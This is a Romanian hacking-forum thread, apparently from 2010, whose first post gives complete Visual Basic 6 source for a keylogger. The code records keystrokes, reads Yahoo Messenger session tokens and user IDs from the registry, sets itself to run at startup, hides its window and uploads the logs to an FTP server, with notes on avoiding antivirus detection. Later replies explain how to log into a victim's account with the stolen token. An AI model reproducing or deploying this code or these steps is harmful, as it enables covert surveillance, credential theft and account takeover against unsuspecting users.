parazitul29 Posted August 2, 2010 Report Posted August 2, 2010 (edited) Developer: parazitul29Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As IntegerOption ExplicitDim hOpen As Long, hConnection As Long, hFile As LongDim dwType As LongDim dwSeman As LongDim ftput As Long Dim ftput2 As LongFunction scrietext()Dim filew As Stringfilew = "c:\test1.txt"Open filew For Output As #2Print #2, Text1.TextClose #2End FunctionFunction scriereg()On Error Resume NextDim FileName As StringFileName = "c:\test2.txt"Dim value As StringDim valuee As StringDim shellSet shell = CreateObject("WScript.Shell")shell.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SYZTEM", "C:\SYZTEM.exe"value = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\ETS")valuee = shell.regread("HKEY_CURRENT_USER\Software\yahoo\pager\Yahoo! User ID")Open FileName For Output As #2Print #2, "Windows Registry Editor Version 5.00"Print #2,Print #2, "[HKEY_CURRENT_USER\Software\yahoo\pager]"Print #2, Chr(34) + "ETS" + Chr(34) + "=" + Chr(34) + value + Chr(34)Print #2, Chr(34) + "Yahoo! User ID" + Chr(34) + "=" + Chr(34) + valuee + Chr(34)Print #2, Chr(34) + "Save Password" + Chr(34) + "=" + "dword:00000001"Close #2End FunctionPrivate Sub Form_Load()On Error Resume NextscrieregFileCopy App.Path & "/cool.exe", "C:\ZYSTEM.exe"End SubPrivate Sub Timer1_Timer()Dim x, x2, i As IntegerFor i = 65 To 90x = GetAsyncKeyState(i)x2 = GetAsyncKeyState(16)If x = -32767 ThenIf x2 = -32768 Then Text1.Text = Text1.Text & Chr(i) scrietextElse: Text1.Text = Text1.Text & Chr(i + 32)scrietextEnd IfEnd IfNextFor i = 48 To 57x = GetAsyncKeyState(i)x2 = GetAsyncKeyState(16)If x = -32767 ThenSelect Case iCase 48If x2 = -32768 ThenText1.Text = Text1.Text & ")"scrietextElse: Text1.Text = Text1.Text & "0"scrietextEnd IfCase 49If x2 = -32768 ThenText1.Text = Text1.Text & "!"scrietextElse: Text1.Text = Text1.Text & "1"scrietextEnd IfCase 50If x2 = -32768 ThenText1.Text = Text1.Text & "@"scrietextElse: Text1.Text = Text1.Text & "2"scrietextEnd IfCase 51If x2 = -32768 ThenText1.Text = Text1.Text & "#"scrietextElse: Text1.Text = Text1.Text & "3"scrietextEnd IfCase 52If x2 = -32768 ThenText1.Text = Text1.Text & "$"scrietextElse: Text1.Text = Text1.Text & "4"scrietextEnd IfCase 53If x2 = -32768 ThenText1.Text = Text1.Text & "%"scrietextElse: Text1.Text = Text1.Text & "5"scrietextEnd IfCase 54If x2 = -32768 ThenText1.Text = Text1.Text & "^"scrietextElse: Text1.Text = Text1.Text & "6"scrietextEnd IfCase 55If x2 = -32768 ThenText1.Text = Text1.Text & "&"scrietextElse: Text1.Text = Text1.Text & "7"End IfCase 56If x2 = -32768 ThenText1.Text = Text1.Text & "*"scrietextElse: Text1.Text = Text1.Text & "8"scrietextEnd IfCase 57If x2 = -32768 ThenText1.Text = Text1.Text & "("scrietextElse: Text1.Text = Text1.Text & "9"scrietextEnd IfEnd SelectEnd IfNextFor i = 8 To 192x = GetAsyncKeyState(i)x2 = GetAsyncKeyState(16)If x = -32767 ThenSelect Case iCase 8: Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1)scrietextCase 9: Text1.Text = Text1.Text & " Tab "scrietextCase 17: Text1.Text = Text1.Text & " [ Ctrl ] "scrietextCase 18: Text1.Text = Text1.Text & " [Alt] "scrietextCase 19: Text1.Text = Text1.Text & " [ Pause] "scrietextCase 20: Text1.Text = Text1.Text & " [ Capslock ] "scrietextCase 27: Text1.Text = Text1.Text & " [Esc ] "scrietextCase 32: Text1.Text = Text1.Text & " "scrietextCase 33: Text1.Text = Text1.Text & " [ PageUp ] "scrietextCase 34: Text1.Text = Text1.Text & " [ PageDown ] "scrietextCase 35: Text1.Text = Text1.Text & " [ End ] "scrietextCase 36: Text1.Text = Text1.Text & " [ Home ] "scrietextCase 37: Text1.Text = Text1.Text & " [ Left ] "scrietextCase 38: Text1.Text = Text1.Text & " [ Up ] "scrietextCase 39: Text1.Text = Text1.Text & " [ Right ] "scrietextCase 40: Text1.Text = Text1.Text & " [ Down ] "scrietextCase 41: Text1.Text = Text1.Text & " [ Select ] "scrietextCase 44: Text1.Text = Text1.Text & " [ PrintScreen ] "scrietextCase 45: Text1.Text = Text1.Text & " [ Insert ] "scrietextCase 46: Text1.Text = Text1.Text & " [ Del ] "scrietextCase 220: Text1.Text = Text1.Text & IIf(x2 = -32768, "|", "\")scrietextCase 188: Text1.Text = Text1.Text & IIf(x2 = -32768, "<", ",")scrietextCase 189: Text1.Text = Text1.Text & IIf(x2 = -32768, "_", "-")scrietextCase 190: Text1.Text = Text1.Text & IIf(x2 = -32768, ">", ".")scrietextCase 191: Text1.Text = Text1.Text & IIf(x2 = -32768, "?", "/")scrietextCase 187: Text1.Text = Text1.Text & IIf(x2 = -32768, "+", "=")scrietextCase 186: Text1.Text = Text1.Text & IIf(x2 = -32768, ":", ";")scrietextCase 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), "'")scrietextCase 219: Text1.Text = Text1.Text & IIf(x2 = -32768, "{", "[")scrietextCase 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]")scrietextCase 192: Text1.Text = Text1.Text & IIf(x2 = -32768, "~", "`")End SelectEnd IfNextEnd SubPrivate Sub Timer2_Timer() Const interval As Long = 4 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload1 minutetrecute = 0 End IfEnd SubPrivate Sub upload1()hOpen = InternetOpen("for rstcenter", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)dwType = FTP_TRANSFER_TYPE_ASCII dwSeman = 0 hConnection = 0 If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0) ftput = FtpPutFile(hConnection, "c:\test1.txt", "/test1.txt", _ dwType, 0) If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = 0End SubPrivate Sub Timer3_Timer() Const interval As Long = 2 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload2 minutetrecute = 0 End IfEnd SubPrivate Sub upload2()hOpen = InternetOpen("for rstcenter", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0) dwType = FTP_TRANSFER_TYPE_ASCII dwSeman = 0 hConnection = 0 If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0) ftput2 = FtpPutFile(hConnection, "c:\test2.txt", "/test2.txt", _ dwType, 0) If hConnection <> 0 Then InternetCloseHandle hConnection End If hConnection = 0End Subsi mai punem un modulOption ExplicitPublic Const MAX_PATH = 260Public Const INTERNET_FLAG_RELOAD = &H80000000Public Const NO_ERROR = 0Public Const FILE_ATTRIBUTE_READONLY = &H1Public Const FILE_ATTRIBUTE_HIDDEN = &H2Public Const FILE_ATTRIBUTE_SYSTEM = &H4Public Const FILE_ATTRIBUTE_DIRECTORY = &H10Public Const FILE_ATTRIBUTE_ARCHIVE = &H20Public Const FILE_ATTRIBUTE_NORMAL = &H80Public Const FILE_ATTRIBUTE_TEMPORARY = &H100Public Const FILE_ATTRIBUTE_COMPRESSED = &H800Public Const FILE_ATTRIBUTE_OFFLINE = &H1000Public Const INTERNET_FLAG_PASSIVE = &H8000000Public Const FORMAT_MESSAGE_FROM_HMODULE = &H800Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As Currency ftLastAccessTime As Currency ftLastWriteTime As Currency nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14End TypePublic Const ERROR_NO_MORE_FILES = 18Public Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" _ (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As LongPublic Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" _(ByVal hFtpSession As Long, ByVal lpszSearchFile As String, _ lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As LongDeclare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As Any, lpLocalFileTime As Any) As LongPublic Const INTERNET_OPEN_TYPE_PRECONFIG = 0Public Const INTERNET_INVALID_PORT_NUMBER = 0Public Const INTERNET_SERVICE_FTP = 1Public Const FTP_TRANSFER_TYPE_BINARY = &H2Public Const FTP_TRANSFER_TYPE_ASCII = &H1Public Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" _ (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As BooleanPublic Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" _ (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As BooleanPublic Declare Function InternetWriteFile Lib "wininet.dll" _(ByVal hFile As Long, ByRef sBuffer As Byte, ByVal lNumBytesToWite As Long, _dwNumberOfBytesWritten As Long) As IntegerPublic Declare Function FtpOpenFile Lib "wininet.dll" Alias "FtpOpenFileA" _(ByVal hFtpSession As Long, ByVal sBuff As String, ByVal Access As Long, ByVal Flags As Long, ByVal Context As Long) As LongPublic Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" _(ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _ ByVal lpszRemoteFile As String, _ ByVal dwFlags As Long, ByVal dwContext As Long) As BooleanPublic Declare Function FtpDeleteFile Lib "wininet.dll" _ Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, _ ByVal lpszFileName As String) As BooleanPublic Declare Function InternetCloseHandle Lib "wininet.dll" _(ByVal hInet As Long) As LongPublic Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _(ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPublic Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _(ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, _ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, _ByVal lFlags As Long, ByVal lContext As Long) As LongPublic Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _(ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _ ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, ByVal dwFlagsAndAttributes As Long, _ ByVal dwFlags As Long, ByVal dwContext As Long) As BooleanConst rDayZeroBias As Double = 109205# ' Abs(CDbl(#01-01-1601#))Const rMillisecondPerDay As Double = 10000000# * 60# * 60# * 24# / 10000#Declare Function InternetGetLastResponseInfo Lib "wininet.dll" _ Alias "InternetGetLastResponseInfoA" _ (ByRef lpdwError As Long, _ ByVal lpszErrorBuffer As String, _ ByRef lpdwErrorBufferLength As Long) As BooleanDeclare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" _(ByVal dwFlags As Long, ByVal lpSource As Long, ByVal dwMessageId As Long, _ ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, _ Arguments As Long) As LongDeclare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpLibFileName As String) As LongFunction Win32ToVbTime(ft As Currency) As Date Dim ftl As Currency ' Call API to convert from UTC time to local time If FileTimeToLocalFileTime(ft, ftl) Then ' Local time is nanoseconds since 01-01-1601 ' In Currency that comes out as milliseconds ' Divide by milliseconds per day to get days since 1601 ' Subtract days from 1601 to 1899 to get VB Date equivalent Win32ToVbTime = CDate((ftl / rMillisecondPerDay) - rDayZeroBias) Else MsgBox Err.LastDllError End IfEnd Function modulul nu este facut de mine,am incercat sa-l fac dar m-am lovit de niste erori si l-am folosit pe asta de pe msdn,desi mi-am dat seama de ce aveam acele erori l-am lasat pe asta ca are mai mult cod de umplutura si din ce am citit pe hackforums cica l-ar face mai nedetectabilAVG-ul meu nu mi l-a detectat deci cel putin la avg-ul meu e nedetectabilla mine a mers asa cum trebuie a trimis totul bine pe ftp fara nici-o problemaindicatii cu modificari pentru cei ce nu se descurca hConnection = InternetConnect(hOpen, "host", INTERNET_INVALID_PORT_NUMBER, _ "nume", "parola", INTERNET_SERVICE_FTP, dwSeman, 0)aici serverul ftp, numele si parola trebuie sa modificati de 2 oriftput = FtpPutFile(hConnection, "c:\test1.txt", "/test1.txt", _ dwType, 0)modificati si aici cu fisierul vostru /test1.txt este locatia unde se uploadeaza fila Private Sub Form_Load()On Error Resume NextscrieregFileCopy App.Path & "/cool.exe", "C:\ZYSTEM.exe"End Sub cool.exe este numele exe-ului compilat si c:zYstem unde se autocopiaza cool.exedeasemenea schimbati locatia lui zystem.exe in c:\windows\system32\zystem.exe si asa recomand si cu fisierele .txt eu le-am denumit pe acolo test1,test2 Const interval As Long = 4 Static minutetrecute As Long minutetrecute = minutetrecute + 1 If minutetrecute = interval Then Call upload1 minutetrecute = 0 End Ifacesta este timer-ul modificati aiciConst interval As Long = "cate minute vreti sa fie intre upload-uri)sunt 2 astfel de timere unul pentru keylogger si unul pentru etsin total sunt 3 timere timer1 cu interval 1 si timer2 si 3 cu interval 60000si mai puneti un textboxsi ca fereastra sa fie invizibila dati dubluclick pe form si setatiacolo visible:false si showintaskbar falsecred ca astea sunt toatede detectie nu stiu decat de avg nu l-am scanat pe nici-un site,nu l-am folosit pe nimeni si nici nu cred ca o sa-l folosesc l-am facut mai mult sa vad daca pot sa fac un keylogger si sa vad cum sta treaba cu visual basic 6 si cu API-urile din windows *notaacest program este un exemplu de programare in vb6 eu nu pot fi luat la raspundere pentru actiuniile voastre Edited August 2, 2010 by parazitul29 2 Quote
Nytro Posted August 2, 2010 Report Posted August 2, 2010 Felicitari, ma bucur sa vad ca exista si persoane care nu dorm.O sugestie: foloseste keyboard hook. Gasesti exemplu in sursa de la Digital Keylogger v4.0, e foarte usor de inteles. A, inca ceva. Ar fi bine sa aranjezi putin codul, o sa fie mult mai usor de inteles si modificat. Bravo! Quote
JustNick Posted August 18, 2010 Report Posted August 18, 2010 sal am si eu o intrebare ca na is mai prost , eu ii iau la om ETS dar cum il decryptez?asa cum il iau acum il pot inlocui in registri si dupa ma loghez dar parola reala de unde Quote
jAsjenel Posted September 4, 2010 Report Posted September 4, 2010 (edited) Imi cer scuze pentru Off Topic.sal am si eu o intrebare ca na is mai prost , eu ii iau la om ETS dar cum il decryptez?Nu trebuie sa-i dai "decrypt"asa cum il iau acum il pot inlocui in registri si dupa ma loghez dar parola reala de unde Nu ai nevoie de parola reala; uite ca sa nu spui ca sunt rau:-Intri in registry: HKEY_CURRENT_USER\Software\Yahoo\pager-Daca ETS-ul exista il modifici cu cel pe care il ai de la victima, daca nu click dreapta in "Pager" >> NEW >> String Value: il redenumesti in "ETS", intri in el iar la Value data pui ETS-ul victimei.-"Yahoo! User ID" daca exista il modifici cu cel al victimei, daca nu faci la fel ca la ETS.-Intri in Yahoo! Messenger pui ID-ul victimei, la parola pui ce vrei tu, bifezi "Remember my id & password" dai Sign In: iti va da eroare bla bla...-Iesi din yahoo! Messenger si il pornesti iar... dupa dai doar "Sign In" si iti intra pe ID-ul lui ...Ti-am scris ca sa intelegi TOTUL.Mult noroc:) Edited September 4, 2010 by jAsjenel Quote